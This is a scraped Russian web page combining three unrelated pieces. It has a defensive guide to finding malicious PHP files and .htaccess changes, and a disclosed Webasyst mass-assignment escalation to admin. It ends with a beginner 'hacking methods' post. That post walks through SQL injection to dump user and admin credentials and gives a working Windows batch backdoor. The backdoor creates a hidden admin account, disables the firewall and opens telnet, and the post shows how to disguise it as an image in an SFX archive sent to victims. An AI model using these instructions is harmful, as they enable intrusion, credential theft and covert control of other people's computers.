Как взломать сайт php

Проверьте логи доступа

Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.

Выявление вредоносных PHP файлов

Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.

Поиск недавно измененных PHP файлов

Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime −14 в течении двух недель.

Мой взломанный сервер возвратил такие результаты:

Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данный период времени. Следующие методы являются гораздо более эффективными.

Искать все PHP файлы с подозрительным кодом

Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.

Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28 переводится как eval ( gzinflate ( base64_decode (, а x29x29x29x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:

Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет: обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:

Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты

Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Читайте также:  Как восстановить компьютер из образа системы

Для того чтобы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду использовать wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:

Он обнаружил вредоносный код!

Из любопытства.

Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Всегда ищите каталоги доступные для загрузки исполняемого кода

Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

Назовите файл search_for_php_in_writable и дайте ему права на исполнение

Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:

Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.

Где еще может скрываться вредоносный код?

Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду

Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, чтобы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных

Возможно злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите 'Search'. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.

Читайте также:  Искать номер мобильного телефона

Проверьте .htaccess файлы, если вы используете Apache

Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат 'http'. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой запятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.

В «реальном мире»

Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:

Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.

Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.

Заключение

Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Эта история о том, как я нашел уязвимость в фреймворке Webasyst и, в частности, в ecommerce-движке Shop-Script 7.

(примечание: ID заказа был видоизменен для публикации)

В глаза сразу бросился идентификатор заказа, встречающийся в середине строки хеша:

Мне стало интересно, как генерируется эта строка, а для этого нужно было взглянуть на исходники движка. Изучив html source страницы, я узнал какой движок используется в магазине, а немного погуглив нашел где его скачать.

Изучаем исходники

Оказалось, что данная строка генерируется случайно и никакой закономерности не прослеживается. Но волею случая, пока я искал функцию отвечающую за этот хеш, я наткнулся на довольно любопытные участки кода.

Параметр $data содержит данные в формате ‘название поля’ => ‘значение поля’, в функции я не заметил защиты от Mass Assignment, но не исключал, что фильтрация аргумента происходит до вызова самой функции. Мне стало лениво просматривать все места в коде, где вызывается save() и я решил проверить теорию экспериментальным путем.

Установив на локалку движок, первым делом я решил посмотреть структуру таблицы `wa_contact`.

Чтобы пользователь имел доступ к админ-панели (в движке она называется «бэкэндом») у покупателя должны быть заданы поля `login`, `password`, а поле `is_user` должно быть равно 1.

Тестируем

Добавляем товар в корзину, переходим на страницу оформления заказа, заполняем стандартные поля… и самое время добавить новые:

Отправляем запрос, пробуем зайти с нашими данными в админку (/wa/webasyst/). Авторизация проходит успешно, но… страница админки совершенно пустая: у нас нет никаких прав. Судорожно ищу поле в таблице, отвечающее за права доступа и понимаю, что такого поля нет, а все права как и подобает вынесены в отдельную таблицу.

Я уже почти смирился с фиаско, пока не заметил, что таблица `wa_contact_rights` содержит права для пользователей по id и для групп по id со знаком минус. В голову сразу же пришла идея присвоить нашему пользователю отрицательный id, тем самым получив права группы. Сказано — сделано, меняем customer[id] на −1 по аналогии с тем, как мы меняли остальные параметры ранее. Опять авторизуемся в админке и получаем все права, которые доступны группе «Администраторы».

Что имеем в итоге

Уязвимость, позволяющую на любом сайте на этом фреймворке, в любом интернет-магазине на этом движке получить полные права администратора, которые в свою очередь позволяют, например, получить конфединциальную информацию обо всех заказах и покупателях, менять статус заказов (скажем, помечать их оплаченными) и просто изменять настройки веб-сайта.

Условий для использования уязвимости нет, она работает и при отключенной регистрации на сайте (в действительности при оформлении заказа регистрация все же происходит).

По данным PublicWWW более 17 000 сайтов используют данный фреймворк.

Об уязвимости было сообщено более двух месяцев назад, сайты обновились и никто не пострадал.

Читайте также:  Дырка в черепе на английском

8 августа, 22:30 — купил футболку
9 августа, 08:00 — сообщил об уязвимости Webasyst, прикрепил видео с Proof of Concept
9 августа, 13:00 — получил подтверждение от службы поддержки
14 августа — получил вознаграждение, уязвимость была закрыта
11 сентября — получил добро на публикацию данной статьи

Методы взлома
[ Хакерство для новичков ]

Здравствуйте.
Сейчас я расскажу о приемах взлома серверов, компьютеров, mail адресов.
Методы взлома сервера:
SQL — injection
Один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Атака типа внедрения SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.

$ ];
$res = mysql_query("SELECT * FROM news WHERE >
http://example.org/script.php? >
ставим кавычку

http://example.org/script.php? >
Если она не фильтруется то выйдет ошибка:

(Warning: mysql(): supplied argument is not a valid MySQL result resource in)

Далее идет вычисление полей в таблице с помощью параметра ORDER BY

http://example.org/script.php? >
Предположим полей 7 из них 3 выводятся на сайте.

http://example.org/script.php? >
Выводятся поля 3, 5. Узнаем версию базы MySQL с помощью version()

http://example.org/script.php? >
На сайте в 3м поле будет написана версия базы. Предположим это 5 версия.

Во всех версиях выше 4 ой есть универсальные таблицы INFORMATION_SCHEMA.TABLES и поле TABLE_NAME.
INFORMATION_SCHEMA.COLUMNS и поле COLUMN_NAME

http://example.org/script.php? >
Теперь в 3м поле выдут все таблицы которые находятся в базе.

http://example.org/script.php? >
Все колонки находящиеся в таблицах.

Далее находим таблицу например users и поле например user_name, user_pass, user_email, user_mobile, user_address

http://example.org/script.php? >
И в 3м поле выходит полная информация о пользователе. Параметр user_pass то есть пароль пользователя выйдет в зашифрованном виде (алгаритм md5 чаще всего) 446f9bce9cd9e51771f60b6e9a12108b после расшифровки пароль примет следующий вид предположим 123923993838.
Остальные поля понятны.
То же самое и с таблицей admin, только пароль после расшифровки можно использовать для авторизации к сайту как администратор. Чаще всего админки сайтов лежат по адресу http://example.org/admin/ или /administrator/

Имея доступ к адмике сайта можно использовать уязвимость типо PHP — injection
То есть залить на сервер шелл.( спец php скрипт дающий полный доступ к серверу и хостингу в общем, тое есть если на сервере находиться не один сайт а 50 — 100 то с его помощью можно получить доступ к редактированию всех сайтов и управлении операционной системы сервера) на пример r57shell или c99madshell.

Найти подобную уязвимость на сайтах не трудно нужно всего лишь ввести в google.com
запрос: inurl:news.php? >
По запросу выйдет очень много уязвимых сайтов находящихся в Казахстане.

Взлом компьютера.
Есть очень много способов, но я расскажу об универсальном, с его помощью можно будет получить полный доступ к компьютеру вплоть до подключения к рабочему столу.

Для начала создается спец файл и который маскируется под архив и и методом соц. Инженерии «впаривается» через любой доступный метод на компьютер «жертвы»
После того как архив закачен на компьютер и открыт запускается BAT файл который открывает доступ к компьютеру через telnet. Зная IP адрес уязвимой машины можно проникнуть в него и скачать любой файл. При этом вирусная опасность будет нулевая!
Пример
.bat файл

chcp 1251
net user coolz 12333 /add
net localgroup Администраторы coolz /add
net localgroup Administrators coolz /add
net stop sharedaccess
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet

Создается отдельный пользователь в системе coolz и задается пароль 12333
Далее присваиваются права администратора. И открывается порт 972.

За тем выбираешь файл который нужно «впарить» пусть это будет картинка 1.jpg

Выбирается картинка и пакуется в sfx архив, далее выделяете картинку (1.exe в архиве) и «батник» (1.bat)
нажимаешь добавить в архив. Ставишь галку создать SFX архив потом нажимаешь во вкладку дополнительно и выбираешь пара
метры SFX
Путь для распаковки пишешь: %WinDir%temp
В окошке выполнять после распаковки
пишем наш архив с картинкой. 1.exe
Заводим во вкладку режимы выбираем скрыть все нажимаем ок
Теперь заходим во вкладку комментарий
И где написано ввести комментарий вручную После строчки SavePath добавляем Setup=cool.bat
Внешний вид

Path=%WinDir%temp
SavePath
Setup=cool.bat
Setup=1.exe
Silent=1

Все замаскированный архив с батником готов

То есть после того как открывается архив выполняется бат файл за тем открывается картинка

После подключения к компьютеру можно открыть доступ к удаленному управлению
Для этого в командной строке вводятся следующие параметры
chcp 1251
net localgroup Пользователи удаленного рабочего стола coolz /add
net accounts /maxpwage:unlimited
REG ADD «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «coolz» /t REG_DWORD /d 0 /f
net stop sharedaccess
sc config sharedaccess start= disabled
sc config tlntsvr start= auto

Все доступ открыт. Подключаемся к компьютеру с помощью Подключение к удаленному рабочему столу.
Водим логин пароль и всё. Загружается рабочий стол уязвимой машины. В дальнейшем можно загрузить сниффер и узнать все пароли. (ICQ, mail адрес и. т. д.)

О взломе ящика скажу коротко.
Есть 3 способа взлома:
1й перебор пароля по словарю
2й использование XSS уязвимости
3й соц.инженерия